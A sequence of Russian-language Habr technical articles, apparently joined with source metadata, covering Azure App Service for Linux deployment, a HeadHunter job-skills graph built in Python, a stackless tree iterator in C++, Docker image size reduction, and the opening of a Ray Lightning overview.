* Автоматическая публикация образов из Docker Hub
### Слоты
Слоты для развертывания были одной из самых популярных функций Azure App Service. Реализация App Service для Linux не было бы полным без поддержки слотов! Вы можете дублировать существующее приложение в «слот» и легко выполнять операции переключения между тестовыми слотами и слотам с рабочей версией веб-приложений.
### Автоматическое масштабирование
Вы можете легко масштабировать приложения App Service Linux и Container по требованию или автоматически.Auto Scale поддерживает триггеры CPU, Disk Queue Length и Memory.
### Поддержка SSH
Вы можете использовать SSH для управления в своим приложении. Введите в браузере адрес, чтобы узнать параметры подключения SSH:
```
https://.scm.azurewebsites.net/webssh/host.
```
Если вы еще не прошли проверку подлинности, вам необходимо будет авторизоваться. После этого вы увидите примерно следующее:
**ПРИМЕЧАНИЕ**. Для активации SSH для пользовательских контейнеров Docker вам необходимо дополнительно [сконфигурировать SSH-сервер](https://docs.microsoft.com/en-us/azure/app-service-web/app-service-linux-ssh-support).
### Автоматическая публикация образов из Docker Hub
Ваше веб-приложение будет автоматически развернуто, когда новая версия будет опубликована в Docker Hub.
Чтобы активировать эту возможность:
1. Настройте хук на Docker Hub
```
https://:@.scm.azurewebsites.net/docker/hook
```
2. Создайте переменную для веб-приложения с названием **DOCKER\_ENABLE\_CI** и установите ее значение TRUE.
### Другие функции
* **Поддержка wildcard доменов**. Теперь вы можете назначить wildcard имена для своих веб-приложений. Например, \* .constoco.com.
* **Тестирование в производстве (TiP)**: эта функция позволяет направить x% трафика на слот или бета-сайт вашего приложения.
* **Always On**: с помощью этой функции вы можете обеспечить постоянную работу своего веб-приложении и избежать «холодного запуска» из-за тайм-аутов простоя.
* **Site Restart**: вы можете перезагрузить контейнер и веб-приложение, используя эту опцию. Эта опция заставит перезагружать контейнер из закэшированного образа.
Создание и развертывание .NET Core проекта
------------------------------------------
Запустите терминал, создайте директорию с именем hellodotnetcore и перейдите в нее. Затем введите:
```
dotnet new web
```
Эта команда создает три файла (hellodotnetcore.csproj, Program.cs и Startup.cs) и одну пустую директорию(wwwroot /) в текущем каталоге. Содержимое файла .csproj должно выглядеть следующим образом:
```
netcoreapp1.1
```
Поскольку это веб-приложение, ссылка на пакет ASP.NET Core автоматически добавится в файл hellodotnetcore.csproj. Номер версии пакета устанавливается в соответствии с установленным SDK. Этот пример относится к ASP.NET Core версии 1.1.2, так как используется .NET Core 1.1.
Собрать и запустить приложение .NET Core можно с помощью двух команд:
```
dotnet restore
dotnet run
```
Когда приложение запустится, вы увидите сообщение о том, что прослушиваются входящие запросы:
```
Hosting environment: Production
Content root path: C:\hellodotnetcore
Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
```
Проверьте что приложение работает корректно, открыв в браузере [localhost](http://localhost):5000/
Если все будет хорошо, вы увидите сообщение «Hello World!».
### Публикация .NET Core приложения в Azure
Первое, что вам необходимо сделать, это создать новое веб-приложение. Войдите в портал Azure и создайте WebApp для Linux.
Далее укажите параметры для создания нового приложения:
| Параметр | Значение | Описание |
| --- | --- | --- |
| App name | hellodotnetcore | The name of your app. This name must be unique. |
| Subscription | Choose an existing subscription | The Azure subscription. |
| Resource Group | myResourceGroup | The Azure resource group to contain the web app. |
| App Service Plan | Existing App Service Plan name | The App Service plan. |
| Configure Container | .NET Core 1.1 | The type of container for this web app: Built-in, Docker, or Private registry. |
| Image source | Built-in | The source of the image. |
| Runtime Stack | .NET Core 1.1 | The runtime stack and version. |
Далее, после того, как создание приложения будет завершено, найдите URL-адрес репозитория git, перейдя по адресу:
```
https://{your web app name}.scm.azurewebsites.net/api/scm/info
```
Выполните команды для развертывания приложения в Azure:
```
git init
git remote add azure
git add \*.csproj \*.cs
git commit -m "Initial deployment commit"
git push azure master
```
Вам не нужно отдельно добавлять в репозиторий файлы в директории bin/ или obj/, потому что веб-приложение будет автоматически собрано в облаке.
Результат должен выглядеть примерно так:
```
/* some output has been removed for brevity */
remote: Copying file: 'System.Net.Websockets.dll'
remote: Copying file: 'System.Runtime.CompilerServices.Unsafe.dll'
remote: Copying file: 'System.Runtime.Serialization.Primitives.dll'
remote: Copying file: 'System.Text.Encodings.Web.dll'
remote: Copying file: 'hellodotnetcore.deps.json'
remote: Copying file: 'hellodotnetcore.dll'
remote: Omitting next output lines...
remote: Finished successfully.
remote: Running post deployment commands...
remote: Deployment successful.
To https://hellodotnetcore.scm.azurewebsites.net/
* [new branch] master -> master
```
После завершения развертывания перезапустите веб-приложение. Для этого перейдите на портал Azure, откройте страницу «Overview» вашего веб-приложения и нажмите кнопку «Restart».
После перезапуска откройте страницу с веб-приложением. Она должна выглядеть примерно так:
#### Источники
* [See what’s new for Azure App Service-Web App on Linux (Preview)](https://azure.microsoft.com/en-us/blog/see-whats-new-for-azure-app-service-on-linux-preview/)
* [Use .NET Core in an Azure web app on Linux](https://docs.microsoft.com/en-us/azure/app-service-web/app-service-linux-using-dotnetcore)
* [Пример создания приложения на .NET Core](http://dot-net.in.ua/post/93) | https://habr.com/ru/post/336948/ | null | ru | null |
# Ключевые навыки Python-программиста
В наше динамичное время программисту необходимо держать руку на пульсе и постоянно осваивать новые навыки, чтобы оставаться востребованным специалистом.
Я уже около двух лет программирую на Python, и сейчас наступил момент осознанно подойти к освоению новых навыков. Для этого я решил проанализировать вакансии и представить востребованные навыки в виде графа. Я ожидал увидеть, что навыки будут образовывать кластеры, соответствующие разным специальностям: backend разработке, data science и др. А как же обстоят дела на самом деле? Обо всём по порядку.
### Сбор данных
Сначала нужно было определиться с источником данных. Я рассмотрел несколько вариантов: [Хабр Карьеру](https://career.habr.com/), [Яндекс Работу](https://rabota.yandex.ru/), [HeadHunter](https://hh.ru/) и другие. Наиболее удобным показался HeadHunter, так как здась в вакансиях присутствует список ключевых навыков и есть удобный открытый [API](https://github.com/hhru/api).
Изучив API HeadHunter-a, я решил сначала парсить список id вакансий по заданному ключевому слову (в данном случае это “python”), а затем у каждой вакансии парсить список соответствующих тэгов.
При поиске вакансий, вакансии возвращаются постранично, максимальное количество вакансий на одну страницу равно 100. Сначала я сохранял полную выдачу в виде списка постраничных ответов.
Для этого был использован модуль requests. В поле “user-agent”, в соответствии с API, было вписано имя виртуального браузера, чтобы HH понимал, что к нему обращается скрипт. Делал небольшую задержку между запросами, чтобы не перегружать сервер.
```
ses = requests.Session()
ses.headers = {'HH-User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0"}
phrase_to_search = 'python'
url = f'https://api.hh.ru/vacancies?text={phrase_to_search}&per_page=100'
res = ses.get(url)
# getting a list of all pesponses
res_all = []
for p in range(res.json()['pages']):
print(f'scraping page {p}')
url_p = url + f'&page={p}'
res = ses.get(url_p)
res_all.append(res.json())
time.sleep(0.2)
```
В результате я получил список словарей ответов, где каждый словарь соответствовал одной странице поисковой выдачи.
Как оказалось, API hh.ru ограничивает максимальное количество отдаваемых вакансий двумя тысячами, то есть при 100 вакансиях на страницу, максимальное количество страниц может быть 20. По ключевому слову Python было возвращено 20 страниц вакансий, и это значит, что реальных вакансий по Python скорее всего больше.
Чтобы получить списко тэгов я делал следующее:
* итерировался по каждой странице поисковой выдачи,
* итерировался по каждой вакансии на странице и получал id вакансии,
* запрашивал подробности вакансии через API,
* если в вакансии был указан хотя бы один тэг, то список тэгов добавлялся в список.
```
# parcing vacancies ids, getting vacancy page and scraping tags from each vacancy
tags_list = []
for page_res_json in res_all:
for item in page_res_json['items']:
vac_id = item['id']
vac_res = ses.get(f'https://api.hh.ru/vacancies/{vac_id}')
if len(vac_res.json()["key_skills"]) > 0: # at least one skill present
print(vac_id)
tags = [v for v_dict in vac_res.json()["key_skills"] for _, v in v_dict.items()]
print(' '.join(tags))
tags_list.append(tags)
print()
time.sleep(0.1)
```
Списки тэгов сохранялись в виде словаря
```
res = {'phrase': phrase_to_search, 'items_number': len(tags_list), 'items': tags_list}
with open(f'./data/raw-tags_{phrase_to_search}.json', 'w') as fp: # Serializing
json.dump(res, fp)
```
Интересно, что из 2000 просмотренных вакансий, тэги имелись только у 1579 вакансий.
### Форматирование данных
Теперь нужно обработать теги и перевести их в удобный для отображения в виде графа формат, а именно:
* привести все тэги к единому регистру, так «machine learning», «Machine learning» и «Machine Learning» означают одно и то же,
* вычислить величину нода как частоту встречаемости каждого тэга,
* вычислить величину связи как частоту совместного встречания тэгов друг с другом.
Приведение к единому регистру, вычисление частоты встречаемости каждого тэга, фильтрация по размеру нода осуществлялись следующим образом.
```
tags_list['items'] = [[i.lower() for i in line] for line in tags_list['items']]
# counting words occurrences
flattened_list = [i for line in tags_list for i in line]
nodes_dict_all = {i: flattened_list.count(i) for i in set(flattened_list)}
nodes_dict = {k:v for k, v in nodes_dict_all.items() if v > del_nodes_count}
```
Попарную встречаемость вычислял так. Сначала создавал словарь, в котором ключами были все возможные пары тэгов в виде tuple, а значения равнялись нулям. Затем проходился по спискам тэгов и увеличивал счётчики для каждой встречаемой пары. Затем я удалял все те элементы, значения которых равнялись нулю.
```
# tags connection dict initialization
formatted_tags = {(tag1, tag2): 0 for tag1, tag2 in itertools.permutations(set(nodes_dict.keys()), 2)}
# count tags connection
for line in tags_list:
for tag1, tag2 in itertools.permutations(line, 2):
if (tag1, tag2) in formatted_tags.keys():
formatted_tags[(tag1, tag2)] += 1
# filtering pairs with zero count
for k, v in formatted_tags.copy().items():
if v == 0:
del formatted_tags[k]
```
На выходе формировал словарь вида
```
{
'phrase': phrase searched,
'items_number': number of vacancies parced,
'items': {
"nodes": [
{
"id": tag name,
"group": group id,
"popularity": tag count
},
…
]
"links": [
{
"source": pair[0],
"target": pair[1],
"value": pair count
},
…
]
}
}
```
```
nodes = []
links = []
for pair, count in formatted_tags.items():
links.append({"source": pair[0], "target": pair[1], "value": count})
max_count = max(list(nodes_dict.values()))
count_step = max_count // 7
for node, count in nodes_dict.items():
nodes.append({"id": node, "group": count // count_step, "popularity": count})
data_to_dump = in_json.copy()
data_to_dump['items'] = {"nodes": nodes, "links": links}
```
### Визуализация на Python
Для визуализации графа я использовал модуль networkx. Вот, что получилось с первого раза без фильтрации нодов.
Такая визуализация больше похожа на клубок запутанных ниток, чем на граф навыков. Связи запутаны и настолько густо пронизывают граф, что невозможно разглядеть ноды. Кроме этого, на графе чрезмерно много нодов, некоторые настолько маленькие, что не имеют статистической значимости.
Поэтому я отфильтровал самые маленькие ноды, размер которых менее 5, а также сделал связи серого цвета. На этой картинке я ещё не привёл слова к единому регистру, при этом попробовал удалить самый большой нод «Python», чтобы разрядить связи.
Стало намного лучше. Теперь ноды разделены, а связи не засоряют визуализацию. Стало возможно увидеть основные навыки, они расположились в больших шариках в центре графа, и маленькие ноды. Но этот граф ещё есть куда улучшать.
### Визуализация на JavaScript
Я бы наверно продолжил ковырять этот код, если бы в этот момент у меня не появилась подмога в виде брата. Он активно включился в работу и сделал красивое динамическое отображение на основе JavaScript [модуля D3](https://github.com/d3/d3-force).
Получилось вот так.
[Динамическая визуализация](https://avk0.github.io/skills_graph/) доступна по ссылке. Обратите внимание, что ноды можно тянуть.
### Анализ результатов
Как мы видим, граф получился сильно переплетённым и чётко обозначенных кластеров с первого взгляда обнаружить не удаётся. Сразу можно заметить несколько больших нодов, которые востребованы больше всего: linux, sql, git, postgresql и django. Также есть навыки средней популярности и редко встречаемые навыки.
Кроме этого, можно обратить внимание на то, что навыки всё-таки формируют кластеры по профессиям располагаясь по разные стороны от центра:
* слева внизу – анализ данных,
* внизу – базы данных,
* справа внизу – front-end разработка,
* справа – тестирование,
* справа вверху – web разработка,
* слева вверху – machine learning.
Это описание кластеров основано на моих знаниях и может содержать ошибки, но сама идея, надеюсь, ясна.
На основе полученных результатов можно сделать следующие выводы:
* нужно осваивать навыки, соответствующие большим нодам, они пригодятся всегда,
* нужно осваивать навыки соответствующего вашим интересам кластера.
Надеюсь, вам понравилось, и данный анализ будет для вас полезен.
Взглянуть на код или поучаствовать в его развитии можно по ссылкам: [GitHub проект](https://github.com/avk0/skills_graph), [Observable ноутбук](https://observablehq.com/@avk0/untitled) с визуализацией
Успехов в освоении новых горизонтов! | https://habr.com/ru/post/500952/ | null | ru | null |
# Обход дерева без рекурсии и без стека
Придумал простой итератор для обхода произвольного дерева:
(для облегчения кода прежде всего)
`struct Document
{
Concept \*root;
struct Iter
{
Concept \*start;
Concept \*cur;
Concept \*bottom;
}iter;
Concept\* Begin(Concept \*c)
{
iter.start = c;
iter.cur = c;
iter.bottom = 0;
return Next();
}
Concept \* Next()
{
if (!iter.cur) return 0;
while (iter.cur != iter.bottom && iter.cur->first\_child)
iter.cur = iter.cur->first\_child;
Concept \*ret = iter.cur;
if (iter.cur == iter.start)
iter.cur = 0;
else if (iter.cur->next)
iter.cur = iter.cur->next;
else
{
iter.cur = iter.cur->parent;
iter.bottom = iter.cur;
}
return ret;
}
};`
Эта фича позволяет сильно облегчить код и делать так:
`Concept \*clicked = ConceptFromMouse();
for (Concept \*c = document->Begin(clicked); c; c=document->Next())
{
DoSomething( c );
}`
Обходит дерево в таком же порядке как и такая рекурсия:
`void DoSomethingHelper(root)
{
for (Concept \*c = root; c; c=c->next)
{
DoSomethingHelper(c->first\_child);
}
DoSomething(root);
}`
### Описание работы:
1. проваливаемся в самый низ по цепочке first\_child->first->child->… (это самая левая ветка если картинку нарисовать)
2. запоминаю, что надо вернуть найденный элемент
3. переключаю итератор на следующий элемент, который верну при след. Next()
при этом, если поднимаюсь наверх — ставлю защиту от проваливания вниз в то же место — ставлю iter.bottom
(при этом если у него есть дети — то он опять провалится вниз, как и надо, при вызове Next())
### Применение:
Это офигенно удобно, когда нужно сделать много разных действий с деревом в разных местах кода. Особенно, когда доступ к дереву нужен из других классов.
Если использовать способ с рекурсией — то придется писать кучу неудобных, некрасивых вспомогательных функций. А так — работа с деревом через простой итератор:
`void DocumentEditor::OnDrag( Concept \*con, float dx, float dy )
{
// drag with childs
for (Concept \*c = document->Begin(con); c; c=document->Next())
{
c->x += dx;
c->y += dy;
}
}`
UPD:
[14:26:11] Petrov: вот мне встречались такого типа алгоритмы про это:
[www.perlmonks.org/?node\_id=600456](http://www.perlmonks.org/?node_id=600456) | https://habr.com/ru/post/97841/ | null | ru | null |
# Методики уменьшения размеров образов Docker
Задавались ли вы когда-нибудь вопросом о том, почему размер Docker-контейнера, содержащего всего одно приложение, может находиться в районе 400 Мб? Или, может быть, вас беспокоили немаленькие размеры образа Docker, содержащего единственный бинарник размером в несколько десятков Мб?
[](https://habr.com/ru/company/ruvds/blog/485650/)
Автор статьи, перевод которой мы сегодня публикуем, хочет разобрать основные факторы, влияющие на размеры контейнеров Docker. Он, кроме того, собирается поделиться рекомендациями по уменьшению размеров контейнеров.
Слои образов Docker
-------------------
Образ контейнера Docker, в сущности, представляет собой набор файлов, наложенных друг на друга в несколько слоёв. Работающий контейнер собирается из этих файлов. Docker использует файловую систему [UnionFS](https://en.wikipedia.org/wiki/UnionFS), в которой файлы группируются в виде слоёв. Слой может содержать один файл или несколько файлов, слои накладываются друг на друга. Во время выполнения контейнера содержимое слоёв объединяется, в результате конечный пользователь контейнера воспринимает материалы, «разложенные» по слоям, как единую файловую систему.
*Упрощённое представление UnionFS*
Получающаяся в итоге файловая система представляется конечному пользователю с помощью некоей реализации UnionFS (Docker [поддерживает](https://docs.docker.com/storage/storagedriver/select-storage-driver/) немало подобных реализаций через подключаемые драйверы хранилищ). Общий размер файлов, получаемых конечным пользователем, равен сумме размеров файлов, находящихся в слоях. Когда Docker создаёт на основе образа контейнер, он использует все слои образа, доступные только для чтения, добавляя поверх этих слоёв один тонкий слой, поддерживающий чтение и запись. Именно этот слой позволяет модифицировать файлы в работающем контейнере.
*Выполняющийся контейнер содержит слой, поддерживающий чтение и запись, расположенный поверх слоёв, материалы которых доступны только для чтения*
Что произойдёт, если в слое `Layer 4` контейнера, схематично представленного выше, будет удалён некий файл? Хотя этот файл будет недоступен в файловой системе, которую видит пользователь, на самом деле, размер этого файла всё ещё будет одной из составляющих размера контейнера, так как этот файл останется в одном из слоёв, предназначенных только для чтения.
Довольно просто начать сборку образа с маленького исполняемого файла приложения и дойти до образа очень большого размера. Ниже мы рассмотрим различные методы, позволяющие делать контейнеры настолько маленькими, насколько это возможно.
Обращайте внимание на путь к папке, на основе материалов которой собирают образы
--------------------------------------------------------------------------------
Как чаще всего собирают образы Docker? Видимо — вот так:
```
docker build .
```
Точка в этой команде сообщает Docker о том, что мы считаем текущую рабочую директорию корнем файловой системы, использующейся в процессе сборки образа.
Для того чтобы лучше понять то, что происходит после выполнения вышеописанной команды, стоит помнить о том, что сборка образа Docker — это клиент-серверный процесс. Интерфейс командной строки Docker (клиент), которому мы даём команду `docker build`, использует движок Docker (сервер) для сборки образа контейнера. Для ограничения доступа к базовой файловой системе клиента системе сборки образа нужно знать о том, где находится корень виртуальной файловой системы. Именно там инструкции из файла `Dockerfile` осуществляют поиск файловых ресурсов, которые могут, в итоге, попасть в собираемый образ.
Представим себе место, в котором обычно размещают файл `Dockerfile`. Вероятно, это — корневая директория проекта? Если в корне проекта находится `Dockerfile`, который используется командой `docker build` для сборки образа, то окажется, что в образ могут попасть все файлы проекта. Это способно привести к тому, что в контекст сборки образа могут попасть тысячи ненужных файлов размером в многие мегабайты. Если легкомысленно использовать в `Dockerfile` команды `ADD` и `COPY`, то все файлы проекта вполне могут стать частью готового образа. Чаще всего тем, кто собирает образы, это не нужно, так как в итоговый образ обычно должны входить лишь некоторые, избранные файлы.
Всегда обращайте внимание на то, чтобы команда `docker build` получала бы правильный путь, и на то, чтобы в `Dockerfile` не было бы команд, добавляющих в образ ненужные файлы. Если по каким-либо причинам корень проекта необходимо сделать контекстом сборки, можно выборочно включать в него файлы и исключать их из него, пользуясь `.dockerignore`.
Оптимизируйте слои образа
-------------------------
Максимальное количество слоёв, которое может иметь образ, равняется 127 (при учёте поддержки такого количества слоёв используемым драйвером хранилища данных). Это ограничение, в случае крайней необходимости, может быть ослаблено, но при таком подходе сужается спектр систем, на которых можно собирать подобные образы. Речь идёт о том, что движок Docker должен выполняться на системе, ядро которой модифицировано соответствующим образом.
Как уже было сказано в предыдущем разделе, из-за того, что при сборке образов используется UnionFS, файлы, попадающие в некий слой, остаются там даже в том случае, если они были удалены из вышележащих слоёв. Разберём это, прибегнув к экспериментальному файлу Dockerfile:
```
FROM alpine
RUN wget http://xcal1.vodafone.co.uk/10MB.zip -P /tmp
RUN rm /tmp/10MB.zip
```
Соберём образ:
*Сборка экспериментального образа, в котором имеется нерационально используемое пространство*
Исследуем образ с помощью [dive](https://github.com/wagoodman/dive):
*Показатель эффективности образа составляет 34%*
Показатель эффективности образа в 34% указывает на то, что немалый объём пространства образа используется нерационально. Это ведёт к увеличению времени загрузки образа, к ненужным тратам сетевых ресурсов, к замедлению времени запуска контейнера.
Как избавиться от этой проблемы? Рассмотрим несколько вариантов.
### ▍Слияние результатов работы команд
Доводилось ли вам когда-нибудь видеть файлы `Dockerfile`, содержащие очень длинные директивы `RUN`, в которых множество команд оболочки объединены с помощью `&&`? Это и есть слияние результатов работы команд.
Пользуясь этим методом, мы создаём, на основе результатов работы единственной длинной команды, лишь один слой. Так как в образе не будет слоёв, содержащих файлы, удалённые в следующих слоях, итоговый образ не будет включать в себя такие «файлы-призраки». Рассмотрим это на примере, приведя вышеприведённый `Dockerfile` к такому состоянию:
```
FROM alpine
RUN wget http://xcal1.vodafone.co.uk/10MB.zip -P /tmp && rm /tmp/10MB.zip
```
После этого проанализируем образ:
*Слияние команд позволило создать образ, оптимизированный на 100%*
Применение этой методики оптимизации размеров образов на практике заключается в том, что после завершения работы над файлом `Dockerfile` его нужно проанализировать и выяснить, можно ли воспользоваться слиянием команд для уменьшения объёма нерационально используемого пространства.
### ▍Применение опции --squash
В тех случаях, когда пользуются чужими файлами `Dockerfile`, которые не хочется или невозможно изменить, альтернативой слиянию команд может стать сборка образа с использованием опции `--squash`.
Современные версии Docker (начиная с 1.13) позволяют сводить все слои в один слой, избавляясь тем самым от «призрачных ресурсов». При этом можно пользоваться исходным неизменённым `Dockerfile`, содержащим множество отдельных команд. Но собирать образ нужно с использованием опции `--squash`:
```
docker build --squash .
```
Образ, получающийся в итоге, тоже оказывается оптимизированным на 100%:
*Использование опции --squash при сборке позволило создать образ, оптимизированный на 100%*
Тут можно обратить внимание на одну интересную деталь. А именно, в `Dockerfile` был создан слой для добавления файла и ещё один слой для удаления этого файла. Опция `--squash` достаточно интеллектуальна для того, чтобы понять, что при таком раскладе вообще не нужно создавать дополнительных слоёв (в итоговом образе имеется только слой `9ccd9…` из используемого нами базового образа). В общем, за это мы можем поставить `--squash` дополнительный плюс. Правда, используя `--squash`, нужно учитывать, что это может помешать воспользоваться кэшированными слоями.
В итоге рекомендуется учитывать то, что работая с чужими `Dockerfile`, которые вам не хотелось бы менять, вы можете минимизировать объём нерационально используемого пространства образов, собирая образы с применением опции `--squash`. Для анализа готового образа можно воспользоваться инструментом [dive](https://github.com/wagoodman/dive).
Удаляйте кэши и временные файлы
-------------------------------
При контейнеризации приложений часто складывается такая ситуация, когда вместе с ними нужно поместить в образ дополнительные инструменты, библиотеки, утилиты. Это делается с помощью пакетных менеджеров вроде `apk`, `yum`, `apt`.
Пакетные менеджеры стремятся к тому, чтобы сберечь время пользователя и не нагружать лишний раз его сетевое подключение при установке пакетов. Поэтому они кэшируют загружаемые данные. Для того чтобы размер итогового образа Docker был бы как можно меньше, нам не нужно хранить в этом образе кэши менеджеров пакетов. В конце концов, если нам когда-нибудь понадобится другой образ, его всегда можно пересобрать с использованием обновлённого `Dockerfile`.
Для того чтобы удалить кэши, создаваемые тремя вышеупомянутыми популярными пакетными менеджерами, в конец агрегированной команды (то есть такой, выполнение которой приводит к созданию одного слоя) можно добавить следующее:
```
APK: ... && rm -rf /etc/apk/cache
YUM: ... && rm -rf /var/cache/yum
APT: ... && rm -rf /var/cache/apt
```
В результате рекомендуется перед завершением работы над `Dockerfile` внести в него команды, убирающие кэши пакетных менеджеров, используемых при сборке образа. Это же относится и к любым временным файлам, которые не влияют на правильность работы контейнера.
Тщательно выбирайте базовый образ
---------------------------------
Каждый `Dockerfile` начинается с директивы `FROM`. Именно тут мы задаём базовый образ, на основе которого будет создан наш образ.
Вот что говорит об этом [документация](https://docs.docker.com/engine/reference/builder/#from) Docker: «Инструкция `FROM` инициализирует новый этап сборки и устанавливает базовый образ для идущих далее инструкций. В результате правильно составленный `Dockerfile` должен начинаться с инструкции `FROM`. Образом может быть любой работоспособный образ. Легче всего приступить к сборке собственного образа, взяв за его основу образ из общедоступного репозитория».
Очевидно, существует масса базовых образов, каждый из которых отличается собственными особенностями и возможностями. Правильный подбор базового образа, содержащего именно то, что нужно приложению, не больше и не меньше, оказывает огромнейшее воздействие на размер итогового образа.
Как и можно ожидать, размеры популярных базовых образов чрезвычайно сильно варьируются:
*Размеры популярных базовых образов Docker*
Так, контейнеризация приложения с использованием базового образа [Ubuntu 19.10](https://hub.docker.com/layers/ubuntu/library/ubuntu/19.10/images/sha256-bceb2fb47400491f75a9056a3d4e219cbe5f9512d4220ca43f3f5cb3d08e9d04) приведёт к тому, что к размеру образа, помимо размера приложения, будет добавлено ещё 73 Мб. Если собрать такой же образ на основе образа [Alpine 3.10.3](https://hub.docker.com/layers/alpine/library/alpine/3.10.3/images/sha256-77cbe97593c890eb1c4cadcbca37809ebff2b5f46a036666866c99f08a708967), то мы получим «добавку» лишь в размере 6 Мб. Так как Docker кэширует слои образов, сетевые ресурсы тратятся на загрузку того или иного образа лишь тогда, когда в первый раз запускают контейнер с соответствующим образом (проще говоря — при первой загрузке образа). Но размер самого образа меньше от этого не становится.
Тут вы можете прийти к следующему (совершенно логичному) выводу: «Значит — всегда буду использовать Alpine!». Но, к сожалению, в мире разработки программного обеспечения не всё так однозначно.
Может быть, [разработчики Alpine Linux](https://gitlab.alpinelinux.org/groups/alpine/-/activity) обнаружили какой-то секретный ингредиент, который всё ещё не могут найти представители Ubuntu или Debian? Нет. Дело в том, что для того, чтобы создать образ Docker, размер которого на порядок меньше размера образа той же Debian, разработчикам Alpine пришлось принять некоторые решения относительно того, что нужно включить в образ, а что — не нужно. Прежде чем называть Alpine базовым образом, который вы будете использовать всегда, вам стоит поинтересоваться тем, имеется ли в нём всё то, что вам нужно. Кроме того, даже хотя в Alpine есть менеджер пакетов, может оказаться так, что конкретный пакет, который используется в вашем рабочем окружении, основанном, например, на Ubuntu, в Alpine недоступен. Или — не пакет, а нужная версия пакета. Это — те компромиссы, о которых стоит знать перед выбором и испытанием базового образа, наилучшим образом подходящего для вашего проекта.
И наконец, если вам и правда нужен один из самых крупных базовых образов, вы можете воспользоваться инструментом для минимизации размеров образа. Например — бесплатным опенсорсным средством [DockerSlim](https://dockersl.im/). Это позволит уменьшить размер готового образа.
В итоге можно сказать, что использование тщательно подобранного базового образа чрезвычайно важно в деле создания собственных компактных образов. Оцените нужды вашего проекта и подберите образ, который содержит то, что вам необходимо, и при этом имеет приемлемые для вас размеры.
Рассмотрите возможность создания образа, в котором нет базового образа
----------------------------------------------------------------------
Если ваше приложение может выполняться без некоего дополнительного окружения, предоставляемого базовым образом, вы можете решить не использовать базовый образ. Конечно, так как инструкция `FROM` обязательно должна присутствовать в `Dockerfile`, без неё обойтись не получится. Она должна, кроме того, указывать на какой-то образ. Какой же образ использовать в такой ситуации?
Здесь вам может пригодиться образ [Scratch](https://hub.docker.com/_/scratch). Из его описания можно узнать о том, что он специально сделан пустым и рассчитан на построение образов, если «говорить» языком `Dockerfile`, «`FROM scratch`», то есть — «с нуля». Этот образ особенно полезен при создании базовых образов (таких, как образы debian и busybox) или предельно минималистичных образов (тех, которые содержат единственный бинарный файл и то, что требуется для его работы, скажем, это нечто вроде hello-world). Использование этого образа в качестве основы образа, описываемого `Dockerfile`, аналогично применению в некоей программе «пустой операции». Применение образа `scratch` не приведёт к созданию в готовом образе дополнительного слоя.
В результате, если ваше приложение представляет собой самодостаточные исполняемые файлы, которые могут работать сами по себе, выбор базового образа `scratch` позволит вам до предела минимизировать размер контейнера.
Используйте многоэтапные сборки
-------------------------------
Многоэтапные сборки были в центре внимания после выхода Docker 17.05. Это была возможность, которую ждали уже давно. Она позволяет сборщикам образов отказаться от собственных скриптов для сборки образов и реализовать всё что нужно, используя хорошо известный формат `Dockerfile`.
В общих чертах многоэтапную сборку можно представить себе в виде объединения нескольких `Dockerfile`, или в виде `Dockerfile`, в котором имеется несколько инструкций `FROM`.
До появления многоэтапных сборок, если нужно было создать сборку своего проекта и распространить её в контейнере с использованием `Dockerfile`, то, вероятно, потребовалось бы выполнять процесс сборки, который привёл бы к появлению контейнера, наподобие того, который показан ниже:
*Сборка и распространение приложение без использования технологии многоэтапной сборки*
Хотя, с технической точки зрения, тут всё сделано правильно, итоговый образ и получающийся в результате контейнер наполнены слоями, созданными в процессе подготовки материалов проекта. А эти слои не нужны для формирования среды выполнения проекта.
Многоэтапные сборки позволяют отделить фазы создания и подготовки материалов проектов от окружения, в котором выполняется код проектов.
*Многоэтапная сборка, отделение процесса создания и подготовки материалов проекта от среды выполнения*
При этом для описания полного процесса сборки проекта достаточно единственного `Dockerfile`. Но теперь можно копировать материала из одного этапа в другой и избавляться от ненужных данных.
Многоэтапные сборки позволяют создавать кросс-платформенные сборки, которыми можно пользоваться многократно без применения собственных сборочных скриптов, написанных под конкретную операционную систему. Итоговый размер образа может быть сведён к минимуму благодаря возможности избирательного включения в него материалов, сгенерированных на предыдущих этапах процесса сборки образа.
Итоги
-----
Создание образов контейнеров Docker — это процесс, с которым часто приходится сталкиваться современным программистам. Существует множество ресурсов, посвящённых созданию файлов `Dockerfile`, в интернете можно найти много примеров таких файлов. Но, чем бы вы ни пользовались, создавая собственные `Dockerfile` всегда стоит учитывать то, каким будет размер итоговых образов.
Здесь мы рассмотрели несколько методик минимизации размера образов Docker. Внимательное отношение к содержимому `Dockerfile`, включение в него только того, что действительно нужно, выбор подходящего базового образа, использование технологии многоэтапной сборки — всё это способно помочь серьёзно сократить размер создаваемых вами образов Docker.
**P.S.** Мы запустили [маркетплейс](https://ruvds.com/ru-rub/marketplace#order) на сайте RUVDS. В маркетплейсе образ [Docker](https://ruvds.com/ru-rub/marketplace/docker#advantages) устанавливается в один клик, вы можете проверить как работают контейнеры на [VPS](https://ruvds.com/), 3 дня для тестов предоставляются бесплатно для всех новых клиентов.
**Уважаемые читатели!** Как вы оптимизируете размеры ваших образов Docker?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/485650/ | null | ru | null |
# Надоело настраивать кластер? Используйте Ray Lightning
PyTorch Lightning позволяет распараллелить Deep Learning на GPU, но настраивать и объединять процессоры в сеть сложно даже в управляемом кластере SLURM. Проблему решает пакет Ray Lightning, обзором которого делимся к старту потока [курса по Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_130921&utm_term=cat).
---
Напомним: когда вы настраиваете многоузловое обучение на GPU, нужно, чтобы каждый узел:
* взаимодействовал со всеми остальными;
* имел доступ к коду;
* имел корректно настроенные переменные PyTorch;
* также нужно запустить сценарий обучения на каждом узле;
И вот с какими ограничениями PyTorch Lightning вы столкнётесь:
* настройка кластера на любом облаке (AWS, Azure, GCP или Kubernetes) требует широких компетенций;
* многоузловое обучение не поддерживается Jupyter Notebook;
* автоматическое вертикальное масштабирование, чтобы снизить затраты, потребует обширной инфраструктуры и специальных инструментов.
Можно ли обойтись без глубоких знаний построения большой инфраструктуры, а также без изменений кода?
Знакомьтесь с Ray Lightning
---------------------------
[Ray Lightning](https://github.com/ray-project/ray_lightning) — это простой плагин PyTorch Lightning для горизонтального масштабирования обучения. Вот его преимущества:
* Его просто настраивать, не придётся изменять код.
